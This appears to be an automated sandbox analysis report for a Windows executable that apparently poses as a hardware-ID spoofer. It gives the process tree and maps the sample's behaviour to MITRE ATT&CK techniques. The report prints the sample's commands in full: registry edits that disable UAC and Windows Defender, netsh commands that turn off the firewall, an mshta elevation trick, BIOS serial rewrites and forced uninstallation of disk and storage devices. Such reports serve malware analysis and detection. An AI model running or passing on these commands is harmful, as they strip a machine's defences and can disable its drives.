PID 3000 wrote to memory of 1532	3000	cmd.exe	52
PID 2664 wrote to memory of 1960	2664	cmd.exe	53
PID 2664 wrote to memory of 1960	2664	cmd.exe	53
PID 2664 wrote to memory of 1960	2664	cmd.exe	53
PID 3000 wrote to memory of 1796	3000	cmd.exe	54
PID 3000 wrote to memory of 1796	3000	cmd.exe	54
PID 3000 wrote to memory of 1796	3000	cmd.exe	54
PID 3000 wrote to memory of 1616	3000	cmd.exe	55
PID 3000 wrote to memory of 1616	3000	cmd.exe	55
PID 3000 wrote to memory of 1616	3000	cmd.exe	55
PID 3000 wrote to memory of 2024	3000	cmd.exe	56

C:\Users\Admin\AppData\Local\Temp\3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
"C:\Users\Admin\AppData\Local\Temp\3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Windows\system32\cmd.exe
  cmd.exe /c set
  2⤵
  PID:788
- C:\Users\Admin\AppData\Local\Temp\~3286148392250817413~\sg.tmp
  7zG_exe x "C:\Users\Admin\AppData\Local\Temp\3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe" -y -aoa -o"C:\Users\Admin\AppData\Local\Temp\~8706321127312623874"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2376
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\~8706321127312623874\king.bat" "
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K yf.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\Windows\system32\cacls.exe
      cacls.exe "C:\System Volume Information"
      4⤵
      PID:2812
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
      4⤵
      UAC bypass
      PID:2652
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
      4⤵
      UAC bypass
      PID:2808
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
      4⤵
      UAC bypass
      PID:2972
  - - C:\Windows\system32\mshta.exe
      mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c C:\Users\Admin\AppData\Local\Temp\~87063~1\yf.bat ::","","runas",1)(window.close)
      4⤵
      Access Token Manipulation: Create Process with Token
      Modifies Internet Explorer settings
      Suspicious use of WriteProcessMemory
      PID:2644
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\~87063~1\yf.bat ::
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2664
      - C:\Windows\system32\cacls.exe
        
        cacls.exe "C:\System Volume Information"
        6⤵
        
        PID:2636
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:2684
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:2696
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:1788
      - C:\Windows\system32\netsh.exe
        
        NetSh Advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2160
      - C:\Windows\system32\netsh.exe
        
        Netsh Advfirewall show allprofiles
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1960
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
        6⤵
        
        PID:1596
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /d 1 /t REG_DWORD /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1992
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /d 1 /t REG_DWORD /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:776
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /d 1 /t REG_DWORD /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1696
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1568
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /d 4 /t REG_DWORD /f
        6⤵
        Modifies Security services
        
        PID:1520
      - C:\Windows\system32\rundll32.exe
        
        RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
        6⤵
        
        PID:1444
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Disable-NetAdapterBinding -Name '╥╘╠½═°' -ComponentID ms_tcpip6"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1160
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Disable-NetAdapterBinding -Name 'WLAN' -ComponentID ms_tcpip6"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1764
      - C:\Windows\system32\PnPutil.exe
        
        pnputil /disable-device "SWD\MSRRAS\MS_NDISWANIP"
        6⤵
        
        PID:2820
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:2864
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:2680
      - C:\Windows\system32\reg.exe
        
        reg.exe ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        UAC bypass
        
        PID:1648
- - C:\Users\Admin\AppData\Local\Temp\~8706321127312623874\AMIDEWINx64.EXE
    AMIDEWINx64.EXE /SS "Copyright @2025 by [qq214688451] All Rights Reserved 4711"
    3⤵
    - Executes dropped EXE
    PID:684
- - C:\Users\Admin\AppData\Local\Temp\~8706321127312623874\AMIDEWINx64.EXE
    AMIDEWINx64.EXE /BS "Vx:Lockedyou_Spoofer_yyds_2946"
    3⤵
    - Executes dropped EXE
    PID:1532
- - C:\Users\Admin\AppData\Local\Temp\~8706321127312623874\AMIDEWINx64.EXE
    AMIDEWINx64.EXE /SU AUTO
    3⤵
    - Executes dropped EXE
    PID:1796
- - C:\Users\Admin\AppData\Local\Temp\~8706321127312623874\AMIDEWINx64.EXE
    AMIDEWINx64.EXE /CS "tpvzTIm3084"
    3⤵
    - Executes dropped EXE
    PID:1616
- - C:\Users\Admin\AppData\Local\Temp\~8706321127312623874\AMIDEWINx64.EXE
    AMIDEWINx64.EXE /PSN Vx:Lockedyou_Spoofer_tpvzTIm
    3⤵
    - Executes dropped EXE
    PID:2024
- - C:\Users\Admin\AppData\Local\Temp\~8706321127312623874\ycyp.exe
    ycyp.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1748
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c set
      4⤵
      PID:2968
  - - C:\Users\Admin\AppData\Local\Temp\~4052033209760566380~\sg.tmp
      7zG_exe x "C:\Users\Admin\AppData\Local\Temp\~8706321127312623874\ycyp.exe" -y -aoa -o"C:\Users\Admin\AppData\Local\Temp\~920465834797360070" -p123321
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1040
  - - C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\~920465834797360070\SN910.bat" "
      4⤵
      Loads dropped DLL
      PID:1804
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "WAN Miniport*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1920
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "Disk drive*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:756
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "C:\"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1300
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "D:\"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2388
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "E:\"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:560
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "F:\"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:1172
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "G:\"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:288
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "Disk"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:2188
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "disk"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:1308
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "Disk&*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:2232
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "SWD\WPDBUSENUM*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:1608
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "USBSTOR*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:2296
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "SCSI\Disk*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:2404
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "STORAGE*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Drops file in Windows directory
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:2548
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "DISPLAY*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:2540
    - - C:\Users\Admin\AppData\Local\Temp\~920465834797360070\DevManView.exe
        
        DevManView.exe /uninstall "WAN Miniport*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:2152
    - - C:\Windows\system32\powercfg.exe
        
        powercfg -h off
        5⤵
        Power Settings
        
        PID:2244
  - - C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\~920465834797360070\js.bat""
      4⤵
      PID:1964
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /h off
        5⤵
        Power Settings
        
        PID:2092
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM WmiPrvSE.exe
        5⤵
        Kills process with taskkill
        
        PID:2912
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM WmiPrvSE.exe
        5⤵
        Kills process with taskkill
        
        PID:2772
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM WmiPrvSE.exe
        5⤵
        Kills process with taskkill
        
        PID:2276
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM WmiPrvSE.exe
        5⤵
        Kills process with taskkill
        
        PID:2344
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im MsSvr.exe /T
        5⤵
        Kills process with taskkill
        
        PID:2720
  - - C:\Users\Admin\AppData\Local\Temp\~8706321127312623874\ycyp.exe
      PECMD**pecmd-cmd* EXEC -wd:C: -hide cmd /c "C:\Users\Admin\AppData\Local\Temp\~6884131726649077312.cmd"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1532
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\~6884131726649077312.cmd"
        5⤵
        
        PID:1616
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM WmiPrvSE.exe
    3⤵
    - Kills process with taskkill
    PID:1204
- C:\Users\Admin\AppData\Local\Temp\3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
  PECMD**pecmd-cmd* EXEC -wd:C: -hide cmd /c "C:\Users\Admin\AppData\Local\Temp\~8162920439200402124.cmd"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1520
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\~8162920439200402124.cmd"
    3⤵
    PID:2480

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {995C996E-D918-4a8c-A302-45719A6F4EA7} -Embedding
1⤵
PID:956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Power Settings

T1653

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery